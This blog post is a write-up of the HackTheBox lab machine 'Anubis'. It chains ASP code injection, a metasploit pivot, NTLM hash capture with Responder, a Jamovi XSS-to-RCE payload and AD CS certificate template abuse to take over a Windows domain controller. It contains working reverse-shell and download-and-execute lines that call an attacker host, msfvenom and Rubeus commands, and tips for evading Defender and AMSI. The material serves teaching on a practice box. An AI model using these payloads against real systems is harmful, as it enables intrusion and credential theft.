HackTheBox Anubis

EricaZelic
18 min readJan 29, 2022

Written by malCOM — October 2021

SUMMARY:

This box is a domain controller with the firewall restricting inbound access to ports typically open on a Domain Controller (DC). Impacket rpcdump shows this machine is a DC with DNS running and likely has the Active Directory Certificate Services (AD CS) server role for an Enterprise Certificate Authority (CA). The foothold is via a web application which allows an asp.NET inline expression remote code execution (RCE) in the Contact form of the www.windcorp.htb website. This lands us in a docker container. From there, inspection of a certificate signing request (CSR) found in the container reveals the name of another website: softwareportal.windcorp.htb. We can set up a pivot with metasploit to browse to that site and coerce a netNTLMv2 hash via the install.asp script. This hash provides valid credentials to access SMB shares. We can then exploit a Jamovi application with XSS to RCE by putting a malicious .omv file on a share to get a shell on the main host. Lastly, excessive certificate template permissions allow us to acquire the Administrator NT hash by creating a smart card certificate for Administrator from a low privileged user.

NMAP:

Starting out with nmap 10.10.11.102 -v we see the following ports open:

PORT      STATE SERVICE
135/tcp open msrpc
443/tcp open https
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
49716/tcp open unknown

Another nmap reveals more information:

nmap -A -p 135,443,445,593,49716 10.10.11.102

PORT      STATE    SERVICE       VERSION
135/tcp open msrpc Microsoft Windows RPC
443/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=www.windcorp.htb
| Subject Alternative Name: DNS:www.windcorp.htb
| Issuer: commonName=www.windcorp.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-05-24T19:44:56
| Not valid after: 2031-05-24T19:54:56
| MD5: e2e7 86ef 4095 9908 14c5 3347 cdcb 4167
|_SHA-1: 7fce 781f 883c a27e 1154 4502 1686 ee65 7551 0e2a
|_ssl-date: 2021-08-19T08:57:09+00:00; +5m47s from scanner time.
| tls-alpn:
|_ http/1.1
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49716/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=250 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 5m46s, deviation: 0s, median: 5m46s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-08-19T08:56:31
|_ start_date: N/A

This box is configured with message signing required which should prevent NTLM relay attacks. Also, the shares are configured to restrict guest authentication or guest fallback which means we would need explicit credentials to access information in the shares.

RPC:

Using rpcdump from Impacket, we can enumerate some of the services running on the box.

python3 rpcdump.py windcorp.htb/Administrator@10.10.11.102 -debug...[snip]...Protocol: [MS-ICPR]: ICertPassage Remote Protocol 
Provider: certsrv.exe
UUID : 91AE6020-9E3C-11CF-8D7C-00AA00C091BE v0.0
Bindings:
ncacn_ip_tcp:10.10.11.102[49711]
ncacn_np:\\EARTH[\pipe\cert]
ncalrpc:[OLE0BFAEC3BB5308DA9BAFA11FAEF21]
...[snip]...Protocol: [MS-DNSP]: Domain Name Service (DNS) Server Management
Provider: dns.exe
UUID : 50ABC2A4-574D-40B3-9D66-EE4FD5FBA076 v5.0
Bindings:
ncacn_ip_tcp:10.10.11.102[49707]

MS-ICPR is interesting. According to Microsoft, The ICertPassage Remote Protocol exposes a Remote Procedure Call (RPC) interface that allows a client to interact with a certification authority (CA) to request and receive X.509 certificates from the CA. The ICertPassage Remote Protocol only provides certificate enrollment functionality.

I didn’t notice any rpcdump output associated with PrintNightmare (i.e. MS-RPRN, MS-PAR, spooler running), so I won’t test for that. The spooler is likely disabled.

I also didn’t notice reference to MS-EFSRPC or the associated LSARPC named pipe interfaces in the original petitpotam PoC, so I will skip testing for that as well since I don’t think I can reflect the authentication back to the same machine. Also, message signing is required. Update: As of 04/30/2022 there is now a tool to reflect NTLM authentication back to the same machine reulting in privilege escalation. You can also do this with Kerberos relaying as long as LDAP signing is not enabled, but it’s not likely you would see this scenario in the real world (you’re not likely to reflect a Kerberos authentication back to yourself on a DC for privilege escalation). As for why this works? Either LDAP signing is disabled, the LDAP server is ignoring the security flags set by the rpc runtime, or DCs are excluded from the SSECURITY_CONTEXT::ValidateUpgradeCriteria check.

rpcclient confirms this box is a DC but I was not able to get much more information aside from the domain SID with lsaquery.

rpcclient -U "" -N 10.10.11.102rpcclient $> getdcname windcorp
\\EARTH

HTTPS:

First I’ll add www.windcorp.htb, earth.windcorp.htb, and windcorp.htb to my /etc/hosts file in case there is virtual host routing. Next, I’ll browse to the site on port 443, and check the page info where it’s shown that the certificate is being used for both client and server authentication.

Clicking around the website we find some potential username information but we don’t have the host username naming convention. We’ll note this information and continue looking at the website.

Amanda Jepson - Accountant
William Anderson - CTO
Sarah Johnson - Product Manager
Walter White - CEO
John Larson - Entrapreneur
Matt Brandon - Freelancer
Jena Karlis - Store Owner
Sara Wilsson - Designer
Saul Goodman - CEO

Glancing over the website, we see two places that accept user input. We can set up a Burp proxy to inspect the packets.

When testing the Subscribebutton on the webpage, the server response says it doesn’t allow POST requests. The Contact form has a GET request with some parameters we can test in the save.asp script. Also, looking at the cookie and the page source, we can see this is a classic ASP application.

When testing ASP applications, we should always look for cross site scripting, SQL injections, and code injections which usually have the format <% … %>. Without knowing the format of ASP code injections or having BurpSuite Pro, it can be difficult to see the vulnerability. Testing some payloads for Server Side Template Injection (SSTI), we notice that the site is injectable in some way as shown highlighted below.

Noticing the color differences and lack of the % characters in the server response for the supplied input in the message parameter, it seems we should be able to inject something starting with < character. If we look at the asp.NET documentation, there is a section describing Inline Expressions. That’s where we find our payload format of <%= … %>.

It’s clear the server is attempting to execute the code from the server response above. With a bit of determination, we find we can inject vbscript that uses Windows Script Host (WSH) via wscript to run system commands. We’ll test if we can ping our Kali box.

NOTE: This is a classic ASP application and not ASP.NET. Either Embedded Code Block or Displaying Expression works in this scenario since the Displaying Expression is an equivalent of the Embedded Code Block that contains only the Response.Write(...) statement. However, the documentation by Microsoft is a bit confusing.

https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions
https://docs.microsoft.com/en-us/troubleshoot/aspnet/inline-expressions

I’ll skip testing with powershell Test-TCPConnection and go straight for a nishang reverse shell.

Usually when whoami reveals we are nt authority\system after RCE in a web application, we are in some type of container. Looking at the output of tasklist /svc we can see cexecsvc is running. A quick google search lets us know that is Docker for Windows.

Looking around the container we find req.txt in the Administrator’s desktop folder. Also, the .ssh directory of the ContainerAdministrator user has a known_hostsfile with an IP address of 192.168.66.3. The ARP cache is unrevealing of anything significant. We cannot ping or TCP connect to the 192.168.66.3 address from this container.

After transferringreq.txt to our Kali machine, we can use openssl to get additional information from the CSR.

openssl req -text -in ./req.txt -noout                                                                                                                                                           [16/16] Certificate Request:
Data:
Version: 1 (0x0)
Subject: C = AU, ST = Some-State, O = WindCorp, CN = softwareportal.windcorp.htb Subject Public Key Info:
Public Key Algorithm: rsaEncryption
RSA Public-Key: (2048 bit)
Modulus:
00:a6:9b:4a:ff:85:91:c2:2a:c2:bf:04:3e:ce:15:

After adding softwareportal.windcorp.htb to our hosts file, we’re not able to browse to it. Looking at ipconfig /all shows:

I’m going to set up a dynamic socks4 proxy on the 172.19.208.0/255.255.240.0 subnet to see if that will enable me to browse to the site. I’ll add softwareportal.windcorp.htb to my /etc/hosts file again, this time using the container’s default gateway address.

There’s several ways to set up network pivots in Windows without ssh. To make this easier, I’ll upgrade my shell and use metasploit.

msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=443 LHOST=tun0 -f exe -o msf.exe

Once we get a meterpreter shell we can configure our proxychains4.conffile, set up a route in metasploit using socks4, and change our browser network settings to match the socks4 proxy.

To set up our pivot using metasploit, from the meterpreter prompt:

run post/multi/manage/autoroute
background
use auxiliary/server/socks_proxy
set version 4a
run
sessions -i 1

We can then use the meterpreter route command to check the configuration.

Now that we can browse to the softwareportal page, looking at the page source, we see the install.aspscript has an IP address in one of the parameters.

We’ll start responder -I tun0and see if we get a hash while substituting the IP address for our Kali box.

[WinRM] NTLMv2 Client   : 10.10.11.102
[WinRM] NTLMv2 Username : windcorp\localadmin
[WinRM] NTLMv2 Hash : localadmin::windcorp:7de73a7be56c0171:4A2495F5F2710E51A34E474F1029CB9E:010100000000000052E9C628F797D7013DCD63271CFEC8510000000002000800550059003500540001001E00570049004E002D00310032003000430034004A0039004C003900470039000400140055005900350054002E004C004F00430041004C0003003400570049004E002D00310032003000430034004A0039004C003900470039002E0055005900350054002E004C004F00430041004C000500140055005900350054002E004C004F00430041004C0008003000300000000000000000000000002100001B618E999103BD5437E19BE50FB62F0D6FA40EC40D02832E292F58E65C8DFEF20A0010000000000000000000000000000000000009001E0048005400540050002F00310030002E00310030002E00310034002E0035000000000000000000

We can use john with a wordlist to get the password.

Now that we have credentials, we can attempt to login but we’re not able to get a shell. However, we are able to access SMB shares.

SMB:

If we take a look at the gpttmpl.inf file for the GPO associated with GUID {6AC1786C-016F-11D2–945F-00C04fB984F9} we can see some information about the privileges of the localadmin user and hardening configurations.

We can see our localadmin user only has SEBatchLogonRight and does NOT have the SEInteractiveLogonRight.

Looking in the shared share, we can see some of the executables that are hosted on the softwareportal as well as an Analytics folder with some .omv files. A quick google search reveals these files to be associated with the Jamovi software hosted on the softwareportal. We can also observe the timestamp for the whatif.omv file changes, suggesting it’s being opened frequently. While we cannot write to the Software directory, we can write to the /Documents/Analytics directory. I attempted to perform an scf file attack to coerce another netNTLMv2 hash, but after a short wait, I didn’t receive any hashes.

If we google exploit jamovi we see there is a recent CVE for Cross Site Scripting (XSS) and a github (pictured below) that explains the vulnerability.

This github page happens to be that of the box creator. This serves as a good clue that we are on the right path. To investigate further, we can download and install the vulnerable application to better understand the vulnerability. We can grab a vulnerable version from: https://www[.]jamovi[.]org/downloads/jamovi-1.6.16.0-win64.exe

JAMOVI XSS to RCE:

After installing the Jamovi app on a Windows Server 2019 VM, we can test the vulnerability by attempting to execute calc.exe. Right clicking on a column produces a drop down menu where we can select Transformand insert a javascript payload (shown below). After saving the file, if we navigate to where the .omv file is saved and click on it, we can verify the ability to run system commands.

We can test the ability to get a reverse shell next with a staged payload since there is a character limit in the vulnerable input field of the Jamovi application:

A<script src="http://attacker-ip/a.js"></script>

I’ll create a javascript file called a.jsto serve from my Kali box that executes a reverse shell:

require('child_process').exec("powershell IEX((New-Object Net.WebClient).DownloadString('http://10.10.14.9:8000/nishang.ps1'))")

After saving the Whatif.omv, we can upload it to the share and overwrite the existing Whatif.omv file, start our web server and listener to catch a shell, and wait for a user to open the file.

And we get a shell … finally.

NOTE: If we wanted to avoid IEX, we could use Invoke-WebRequest or another LOLBAS downloader to put charlotte.dll in a world-writable directory like c:\windows\tasks followed by an execution similar to ; rundll32 c:\windows\tasks\charlotte.dll,FNKDJrdQHyV. This might be helpful if we were trying to avoid Defender. Since rundll32 is being launched from code execution within a vulnerable application via javascript allowing RCE, it’s possible it may go undetected as well depending on the security tooling in the environment. You could also preface the download and execution with an AMSI bypass if necessary, or implement obfuscation.

SHELL AS DIEGOCRUZ:

Looking at net user diegocruz /domain we see this user is a member of the webdevelopers group.

Earlier, we suspected this box is running a CA due to seeing the MS-ICPR protocol in rpcdump and a CertEnroll folder in the share. Using powershell get-process we see certsrvr running. The command net start also confirms this server has the AD CS server role and is running.

CERTIFICATE TEMPLATE ABUSE:

If you want to skip running Certify (below) and see a full list of templates with the certificate template structures, use the command cmd /c certutil -v -dstemplate *. (Reference: [MS-CRTD])

We can run Certify by SpecterOps to check for vulnerable configurations in the CA. It’s important to note that this box was released before the SpecterOPs new tools came out for assessing vulnerable configurations in CAs and templates, but it’s nice to experiment with new tools. We’ll git clone and compile it with Visual Studio 2019 Community Edition on a Windows VM. Defender will quarantine the binary but you can navigate to Virus and Threat Protection and allow it.

Because we are going to dive into abuse of Microsoft’s PKI implementation, I would suggest reading the SpectorOps Certified Pre-Owned blog post before proceeding. They do a really great job at explaining how to assess CAs in a way that’s understandable to a lot of people. If you have previous experience with Benjamin Delpy’s PKI abuse techniques with Kekeo or Christoph Falta’s PoshADCS and have used Rubeus before for Kerberos abuse, you can probably skip it for now.

Before we use Certify, we’ll need the name of the CA. We can get that information with certutil.

Now we can run some Certify commands. When using /enrolleeSuppliesSubject we see members of the group webdevelopers can enroll a certificate using the Web certificate template, the mspki-enrollment-flag has a value of PUBLISH_TO_DS, and Authorized Signatures Required is set to 0. Also, this certificate is for server authentication.

.\Certify.exe find /enrolleeSuppliesSubject /ca:earth\windcorp-ca /domain:windcorp.htb /path:CN=Configuration,DC=windcorp,DC=htb /quiet

Since diegocruz is in a group that has write object control permissions and All Extended Rights on enrollment, we can use PoshADCS to impersonate Administrator by enrolling a smartcard logon certificate for Administrator. Once we enroll that certificate, Rubeus can be used with the /certificate and /credentials flags to obtain the Administrator NT hash.

According to the README.md of PoshADCS:

  • The certificate of the Enterprise CA issuing the smartcard certificate needs to be present under “CN=NtAuthCertificates, CN=Public Key Services, CN=Services, CN=Configuration, DC=domain, dc=com”. This is done automatically during setup of the CA, so it shouldn’t be a problem.
  • You obviously need a smartcard. This can be a physical smartcard, however bringing a real smartcard implies the need of physical access, which can be a challenge. Luckily, there’s a solution called “virtual smartcard”. More on that later.
  • The domain controller(s) need’s a certificate issued from one of the following templates: Domain Controller, Domain Controller Authentication, Kerberos Authentication. This is probably the only crucial requirement that might not be met. However if there is an enterprise CA and auto enrollment enabled, from my experience it is very likely that the domain controllers already got the certificate automatically.

Since auto enrollment is enabled, we should be good to go. PoshADCS requires Powerview so we’ll get that loaded in memory before attempting the attack. However, the first attempt with PoshADCS fails. Looking at the source code in the Get-SmartcardCertificate function of PoshADCS.ps1, we can see that it’s using the userprincipalname attribute for the user identity, which is what we’d expect.

If we look at Diego Cruz’s attributes with Powerview, we can see the userprincipalname doesn’t match the domain.

We can substitute out the userprincipalname with the samaccountname instead in PoshADCS. NOTE: Powerview is required for PoshADCS so leave it loaded in memory. Also, we’ll use Rubeus to get a KRB-CRED, U2U service ticket, and Administrator NT hash after gathering the certificate thumbprint from the Administrator smartcard logon certificate we enrolled.

*Special thanks to Filip Dragovic for showing me the samaccoutname trick in PoshADCS. I’m pretty sure I wouldn’t have thought of that. Also, I wonder if this technique would work on an ADFS service account. We’ll leave that for a future blog post.*

PS C:\windows\tasks> .\Rubeus.exe asktgt /user:Administrator /certificate:07E00D8250465FA9B6C74C22E3F06F18A058AEEE /getcredentials______        _                      
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.0.0[*] Action: Ask TGT[*] Using PKINIT with etype rc4_hmac and subject:
[*] Building AS-REQ (w/ PKINIT preauth) for: 'windcorp.htb\Administrator'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIF1DCCBdCgAwIBBaEDAgEWooIE5DCCBOBhggTcMIIE2KADAgEFoQ4bDFdJTkRDT1JQLkhUQqIhMB+g
...[snip]... MjU0N1qoDhsMV0lORENPUlAuSFRCqSEwH6ADAgECoRgwFhsGa3JidGd0Gwx3aW5kY29ycC5odGI=
ServiceName : krbtgt/windcorp.htb
ServiceRealm : WINDCORP.HTB
UserName : Administrator
UserRealm : WINDCORP.HTB
StartTime : 10/6/2021 7:25:47 AM
EndTime : 10/6/2021 5:25:47 PM
RenewTill : 10/13/2021 7:25:47 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : UxmMqNAN+uuZ3H73ChwnaQ==
ASREP (key) : D9579AAFB8EFDE942C16032A0DAD0A2A
[*] Getting credentials using U2UCredentialInfo :
Version : 0
EncryptionType : rc4_hmac
CredentialData :
CredentialCount : 1
NTLM : 3CCC18280610C6CA3156F995B5899E09

Now we can use the NTLM hash of Administrator to login and get root.txt.

I found this certificate abuse technique interesting, especially because the template was configured for server authentication. This is counterintuitive (at least to me) that we wouldn’t need to be a machine account. However, we did have Full Control over the template.

There are several techniques to exploit the excessive certificate template permissions and the path I took to NT Authority\System was unintended. The intended path was to abuse smart card enrollment but to do everything from linux. If you want to see the intended way, watch ippsec’s video, read 0xdf’s blog, read the box creator’s write-up, or read the official HackTheBox write-up available to VIP memberships once the box is retired.

A great next step would be to explore mitigations and remediation. Depending on the specific environment, this may include changes to firewall flows, permissions configurations, group policy changes, logon scripts, and custom as well as public patches that can be applied.

Special thanks to @filip_dragovic for urging me to complete this box, @ippsec for reviewing this article for accuracy, and @4nqr34z & @theart42 for creating this awesome challenge. Thank you for reading.

REFERENCES:

https://techcommunity.microsoft.com/t5/storage-at-microsoft/configure-smb-signing-with-confidence/ba-p/2418102

https://staff.cdms.westernsydney.edu.au/~jianhua/SAP_300165/lectures/Lecture___4.html

--

--